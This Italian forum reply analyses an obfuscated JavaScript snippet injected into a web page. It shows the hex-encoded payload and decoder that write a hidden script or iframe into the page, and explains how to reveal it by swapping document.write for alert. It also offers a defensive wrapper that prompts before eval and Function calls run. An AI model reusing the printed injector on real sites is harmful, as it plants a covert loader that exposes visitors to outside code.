serve ad iniettare scripts nella pagina, la cosa divertente e' che l'offuscatore utilizzato fa pena e quindi se quanto postato e' quello che hai, non funziona.
questo e' in pratica quello che accade. Se al posto di document.write scrivi alert leggi la parte di codice iniettata.codice:function convert(str){ var res=''; fromCharCode=String['fromCharCode']; for(i=0;i<str.length;i+=2){ res += fromCharCode(parseInt(str.substr(i,2), 16)); }; return res; } var v9f=''; var str='3C7'+v9f+'3637'+v9f+'2697'+v9f+'07'+v9f+'43E696628216D7'+v9f+'96961297'+v9f+'B646F637'+v9f+'56D656E7'+v9f+'42E7'+v9f+'7'+v9f+'7'+v9f+'2697'+v9f+'465287'+v9f+'56E657'+v9f+'363617'+v9f+'065282027'+v9f+'2533632536392536362537'+v9f+'322536312536642536352532302536652536312536642536352533642536332533332533322532302537'+v9f+'332537'+v9f+'32253633253364253237'+v9f+'2536382537'+v9f+'342537'+v9f+'342537'+v9f+'302533612532662532662536362536312536322536392536662536642536662537'+v9f+'342536662537'+v9f+'322532652536332536652532662537'+v9f+'332536312536662537'+v9f+'302536392537'+v9f+'302533322537'+v9f+'392537'+v9f+'342533332537'+v9f+'30253338253337'+v9f+'2537'+v9f+'342537'+v9f+'332536312536612536382536342536312532662536392536652536342536352537'+v9f+'382532652537'+v9f+'302536382537'+v9f+'30253366253237'+v9f+'2532622534642536312537'+v9f+'342536382532652537'+v9f+'322536662537'+v9f+'352536652536342532382534642536312537'+v9f+'342536382532652537'+v9f+'32253631253665253634253666253 664253238253239253261253331253338253336253339253333253334253239253262253237'+v9f+'253334253331253332253331253330253631253633253335253330253338253337'+v9f+'253237'+v9f+'2532302537'+v9f+'37'+v9f+'2536392536342537'+v9f+'34253638253364253333253331253339253230253638253635253639253637'+v9f+'2536382537'+v9f+'342533642533352533382533362532302537'+v9f+'332537'+v9f+'342537'+v9f+'39253663253635253364253237'+v9f+'2537'+v9f+'362536392537'+v9f+'332536392536322536392536632536392537'+v9f+'342537'+v9f+'39253361253638253639253634253634253635253665253237'+v9f+'2533652533632532662536392536362537'+v9f+'3225363125366425363525336527'+v9f+'29293B7'+v9f+'D7'+v9f+'6617'+v9f+'2206D7'+v9f+'969613D7'+v9f+'47'+v9f+'27'+v9f+'5653B3C2F7'+v9f+'3637'+v9f+'2697'+v9f+'07'+v9f+'43E'; document.write(convert(str));
Gli offuscatori mi fanno sempre sorridere, tanti sforzi per eval lenti e spesso rotti.
Io ho creato tempo fa un compressore GIF in javascript, almeno quello funzionava bene e il codice era molto piu' offuscato ma rapidissimo in decompressione.
Per evitare queste situazioni ridicole, se si ha codice comune basta ridefinire alcune funzioni ed includerle in cima alla pagina. Esempio:
se vuoi controllare cosa accade in quelle pagine includi come primo script assoluto il codice scritto sopra che si comportera' da filtro. Ecco un esempio:codice:(function(){ // comunque sia, non siamo al sicuro, ma almeno possiamo // rendere la vita difficile agli idioti che igniettano scripts function observe(native){ this[native] = (function(native){ return function(str){ if(confirm("Some script is trying to evaluate this code:\n" + str)) return native.apply(this, arguments); }; })(this[native]); }; observe("eval"); observe("unescape"); observe("decodeURI"); observe("decodeURIComponent"); Function = (function(native){ return function(args, body){ if(confirm("Some script is trying to create this function:\n" + [args, body].join("\n"))) return native.apply(this, arguments); }; })(Function); })();
se dai l'OK due volte leggerai plutominnie, altrimenti il codice sara' "rotto".codice:eval("var pippo = 'pluto';"); var callback = Function("a, b", "return a + b "); alert(callback(pippo, "minnie"));
Ovvio e' che non puoi usare questo codice nel sito o rischi di spaventare gli utenti![]()


Rispondi quotando